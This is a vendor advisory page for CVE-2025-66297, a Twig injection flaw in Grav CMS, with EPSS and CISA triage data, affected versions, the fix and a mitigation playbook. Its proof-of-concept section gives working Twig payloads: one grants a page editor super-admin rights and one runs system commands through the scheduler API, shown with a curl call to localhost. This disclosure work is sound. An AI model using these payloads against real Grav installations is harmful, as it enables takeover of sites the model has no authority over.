# CVE-2025-66297: grav RCE — Fix Available

🐘 Packagist

Not in CISA KEV

# CVE-2025-66297 — grav

[Fix: getgrav/grav@e372595](https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458)

CVE-2025-66297 is a CWE-1336 vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

Also known as[GHSA-858q-77wx-hhx6](/vulnerability/GHSA-858q-77wx-hhx6)

Published

Dec 1, 2025

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-66297.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk

0.00%0.45%0.89%1.34%0.4%0.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## Real-World Exposure

1 pkg affected

🐘`getgrav/grav`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

#### Details

Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.

This enables exploitation of Grav internal APIs such as:

-   `grav.user.update()` and `grav.user.save()` for escalating the current user to super admin or admin
-   `grav.scheduler.addCommand()`, `grav.scheduler.save()` and `grav.scheduler.run()` for code execution

The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the `system/src/Grav/Common` directory.

#### PoC

#### Preconditions:

-   You must have access to a **non-admin** user with permission to create/edit pages (`admin.pages` access)
-   For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.

#### Steps to reproduce Privilege Escalation:

1.  Login into the non-admin page (default at `cms-url/login`).
2.  Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).
3.  Inject the following payload into the page content to escalate privileges:

```
{% set _ = grav.user.update({
    'access': {
        'admin': {
            'login': true,
            'super': true
        }
    }
}, {}) %}
{% set _ = grav.user.save() %}
```

1.  Visit the edited/created page url. The logged in user is now admin. (_Note: For the changes to show, you need to log out of the admin panel and relogin)._

#### Steps to reproduce Remote Code Execution:

1.  Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).
2.  Inject the following payload into the page content to execute commands:

```
{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}
```

1.  Visit the page to trigger the execution. The system will issue a `curl` request.

#### Impact

This vulnerability allows:

-   Privilege Escalation from any user with page editing capabilities to full admin (super) access.
-   Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.

It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐘Packagist

`getgrav/grav` 

all versions

1.8.0-beta.27`composer require getgrav/grav:^1.8.0-beta.27`

## Affected Products

1 product · 27 configurations

Application

`grav`getgrav

< 1.8.0

1 version

1.8.0

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update getgrav/grav to 1.8.0-beta.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-66297 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
    

## Frequently Asked Questions

\### Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities. ### Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig proce

O3 Security · Impact-Aware SCA

### Is CVE-2025-66297 in your dependencies?

Find it across Packagist, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)